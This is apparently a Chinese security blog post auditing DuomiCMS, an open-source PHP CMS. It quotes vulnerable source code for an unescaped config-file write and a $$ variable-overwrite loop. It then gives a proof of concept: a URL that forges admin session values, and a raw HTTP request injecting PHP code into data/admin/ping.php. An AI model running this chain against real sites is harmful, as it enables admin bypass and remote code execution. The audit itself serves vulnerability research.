PHP審計之Duomicms審計
阿新 • • 發佈:2021-10-13
PHP審計之Duomicms審計
前言
廢話不多說,開衝
程式碼審計
任意檔案寫入
定位漏洞程式碼admin/admin_ping.php
if($action=="set") { $weburl= $_POST['weburl']; $token = $_POST['token']; $open=fopen("../data/admin/ping.php","w" ); $str='<?php '; $str.='$weburl = "'; $str.="$weburl"; $str.='"; '; $str.='$token = "'; $str.="$token"; $str.='"; '; $str.=" ?>"; fwrite($open,$str); fclose($open); }
這個地方比較簡單,接收action引數為set,即走入這個判斷。直接寫入了一個php檔案,寫入php內容$weburl
。
SESSION覆蓋
經常導致變數覆蓋漏洞場景有:
$$使用不當,extract()函式使用不當,parse_str()函式使用不當import_request_variables()使用不當,開啟了全域性變數註冊等。
這裡包含了config.php
看到config.php程式碼
define('duomi_ADMIN', preg_replace("|[/\\\]{1,}|",'/',dirname(__FILE__) ) ); require_once(duomi_ADMIN."/../duomiphp/common.php"); require_once(duomi_INC."/check.admin.php"); require_once(duomi_ADMIN."/api/Snoopy.class.php"); ... $cuserLogin = new userLogin(); if($cuserLogin->getUserID()==-1) { header("location:login.php?gotopage=".urlencode($EkNowurl)); exit(); }
做了鑑權,來看看這個鑑權具體是怎麼實現的。
來到userLogin
類中
class userLogin { var $userName = ''; var $userPwd = ''; var $userID = ''; var $adminDir = ''; var $groupid = ''; var $keepUserIDTag = "duomi_admin_id"; var $keepgroupidTag = "duomi_group_id"; var $keepUserNameTag = "duomi_admin_name"; //php5建構函式 function __construct($admindir='') { global $admin_path; if(isset($_SESSION[$this->keepUserIDTag])) { $this->userID = $_SESSION[$this->keepUserIDTag]; $this->groupid = $_SESSION[$this->keepgroupidTag]; $this->userName = $_SESSION[$this->keepUserNameTag]; } ...
$_SESSION
中分別取duomi_admin_id
、 duomi_group_id
、duomi_admin_name
見名知意,即對應的 使用者名稱字、所屬組、使用者
來到login.php,即checkUser
方法被呼叫的地方。
$cuserLogin = new userLogin($admindir);
if(!empty($userid) && !empty($pwd))
{
$res = $cuserLogin->checkUser($userid,$pwd);
//success
if($res==1)
{
$cuserLogin->keepUser();
if(!empty($gotopage))
{
ShowMsg('成功登入,正在轉向管理管理主頁!',$gotopage);
exit();
}
else
{
ShowMsg('成功登入,正在轉向管理管理主頁!',"index.php");
exit();
}
}
只需要$res
等於1的話,即認證通過。
checkUser方法
function checkUser($username,$userpwd)
{
global $dsql;
//只允許使用者名稱和密碼用0-9,a-z,A-Z,'@','_','.','-'這些字元
$this->userName = m_ereg_replace("[^0-9a-zA-Z_@!\.-]",'',$username);
$this->userPwd = m_ereg_replace("[^0-9a-zA-Z_@!\.-]",'',$userpwd);
$pwd = substr(md5($this->userPwd),5,20);
$dsql->SetQuery("Select * From `duomi_admin` where name like '".$this->userName."' and state='1' limit 0,1");
$dsql->Execute();
$row = $dsql->GetObject();
if(!isset($row->password))
{
return -1;
}
else if($pwd!=$row->password)
{
return -2;
}
變數的位置在 common.php
看一看使用這個變數覆蓋需要滿足的條件
foreach($_REQUEST as $_k=>$_v)
{
if( strlen($_k)>0 && m_eregi('^(cfg_|GLOBALS)',$_k) && !isset($_COOKIE[$_k]) )
{
exit('Request var not allow!');
}
}
1.必須要有傳參 2.正則匹配不能有cfg_和GLOBALS 3.不能有cookie某個值傳參
$$變數覆蓋漏洞
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}
現在需要尋找一個session_start
開啟的地方,結合變數覆蓋漏洞利用。
這時候結合到上面分析的鑑權實現得知鑑權是從$SESSION
中獲取了
duomi_admin_id
、 duomi_group_id
、duomi_admin_name
這三個變數,構造poc覆蓋這三個變數即可。
/interface/comment.php?_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_id]=1&_SESSION[duomi_admin_name]=admin
POST /admin/admin_ping.php?action=set HTTP/1.1
Host: 192.168.8.104:8013
Content-Length: 38
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.8.104:8013
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.8.104:8013/admin/admin_ping.php
Accept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en;q=0.8,zh-TW;q=0.7,zh-CN;q=0.6
Cookie: PHPSESSID=e1mlfmpf2knhvg6doj5gt2jqd6
Connection: close
weburl=";phpinfo();//"&token=123456789